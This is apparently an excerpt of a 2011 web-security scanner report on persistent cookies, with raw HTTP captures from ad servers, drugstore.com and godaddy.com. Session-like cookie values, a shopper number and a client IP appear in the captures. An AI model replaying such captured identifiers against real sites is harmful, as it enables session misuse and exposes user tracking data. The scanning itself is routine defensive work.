HTTP/1.1 200 OK Date: Fri, 16 Sep 2011 16:19:33 GMT Server: Server p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: image/gif nnCoection: close Set-Cookie: ad-id=Ayy0HVI91kopvWsXdVMP4Ng; Domain=amazon-cornerstone.com; Expires=Thu, 01-Jan-2037 00:00:01 GMT; Path=/ Vary: Accept-Encoding,User-Agent Content-Length: 43
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /s.php?c=51&d=9&t=0.08053325628861785&n=1133000173&k=http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ%26num%3D1%26sig%3DAOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw%26client%3Dca-pub-3796773913386149%26adurl%3D HTTP/1.1 Host: srv.healthheadlines.com Proxy-Connection: keep-alive Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=1133;c=173;s=24;d=9;w=300;h=250;l=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, proxy-revalidate Content-Type: text/html Date: Fri, 16 Sep 2011 16:30:40 GMT Expires: Thu, 01 Dec 1994 16:00:00 GMT P3P: policyref="/w3c/p3p.xml", CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Server: TAFE Set-Cookie: tap=u55Faqj9eQjR2O84CPogQjfO0UMPAAEMAAAABAsAAQAAAAI5OQoAAwAAATJzE1qmAAsAAQAAAAI3NQoAAwAAATJzE1qmAAsAAQAAAAI3NAoAAwAAATJzE1qmAAsAAQAAAAMxMDUKAAMAAAEycxNapgAA; expires=Wed, 14-Mar-2012 16:30:40 GMT; Path=/; Domain=.tellapart.com Content-Length: 4529 Connection: keep-alive
<html><body> <script type="text/javascript"> // Maximum time allowed for pixels to load. var MAX_PIXEL_LOAD_TIME = 3000; // Ensures no more pixels are loaded after MAX_PIXEL_LOAD_TIME by removing src
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.drugstore.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Cookie: STICKY=SEAWEB013P:7B1B08A6C5BF4A968C79C9BFB007FDD0:e5fygw55j4x2lwjzim2cqdi4
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 81879 Content-Type: text/html; charset=utf-8 Expires: Thu, 15 Sep 2011 16:30:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:ndla3vftgeechv555qu43rz2; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/ P3P: CP=CAO DSP COR CUR ADM DEV TAI PSD IVD CONi OUR DEL OTRo IND Date: Fri, 16 Sep 2011 16:30:25 GMT Set-Cookie: BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:30:25 GMT; path=/ Vary: Accept-Encoding, User-Agent
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head><!-- www at 09/16/2011 9:30:25 AM --><title>drugstore.com Online ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Cache-Control: private Content-Length: 77163 Content-Type: text/html; charset=utf-8 Expires: Thu, 15 Sep 2011 16:31:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:yonvhm55shpcsh45w02oevnl; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/ P3P: CP=CAO DSP COR CUR ADM DEV TAI PSD IVD CONi OUR DEL OTRo IND Date: Fri, 16 Sep 2011 16:31:38 GMT Set-Cookie: BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:31:39 GMT; path=/ Vary: Accept-Encoding, User-Agent
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head><!-- www at 09/16/2011 9:31:39 AM --><title>Ess - drugstore.com. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 302 Found Cache-Control: private Content-Length: 184 Content-Type: text/html; charset=utf-8 Expires: Thu, 15 Sep 2011 16:31:37 GMT Location: http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp?search=ess Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:moymzk55ygfcmm45khc4ln45; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/ P3P: CP=CAO DSP COR CUR ADM DEV TAI PSD IVD CONi OUR DEL OTRo IND Date: Fri, 16 Sep 2011 16:31:37 GMT Set-Cookie: BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:31:37 GMT; path=/
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp?search=ess">here</a>.</h2> </body></html>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.godaddy.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 Set-Cookie: preferences1=_sid=jcwejcfjxbngwdkfvgmjwimgygceujtc&gdshop_currencyType=USD&dataCenterCode=US; domain=godaddy.com; path=/ Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:07:18 GMT; path=/ Set-Cookie: adc1=US; domain=godaddy.com; path=/ Set-Cookie: HPBackground=DanicaImageTwo; path=/ Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/default.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=19; domain=godaddy.com; path=/ X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" Date: Fri, 16 Sep 2011 18:07:18 GMT Content-Length: 177000
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: text/html Expires: Wed, 01 Jan 1997 12:00:00 GMT Vary: Accept-Encoding Server: Microsoft-IIS/7.5 Set-Cookie: domainYardVal=%2D1; domain=.godaddy.com; path=/ Set-Cookie: serverVersion=A; domain=.godaddy.com; path=/ Set-Cookie: traffic=server=M1PWCORPWEB181&sitename=www%2Egodaddy%2Ecom&cookies=1&clientip=50%2E23%2E123%2E106&status=200+OK&referrer=http%3A%2F%2Fwww%2Egodaddy%2Ecom%2F&isc=&privatelabelid=1&page=%2Fgdshop%2Fsite%5Fsearch%2Easp&referringdomain=&referringpath=2a590ae0%2D0ee8%2D47bd%2D8061%2Daf016da64611&shopper=46215684&querystring=ci%3D9104%26pageNum%3D1%26searchFor%3Dxss; domain=.godaddy.com; path=/ X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" Date: Fri, 16 Sep 2011 18:07:30 GMT Content-Length: 98586
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html> <head> <title>Site Search</title> <meta http-equiv="Content-Type" con ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: http://www.godaddy.com/offers/hot-deals2.aspx?ci=51455&isc=d0d8de1c80 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:32 GMT; path=/ Set-Cookie: adc1=US; domain=godaddy.com; path=/ X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" Date: Fri, 16 Sep 2011 18:08:32 GMT Content-Length: 190
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.godaddy.com/offers/hot-deals2.aspx?ci=51455&isc=d0d8de1c80">here</a>.</h2> </body></html>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.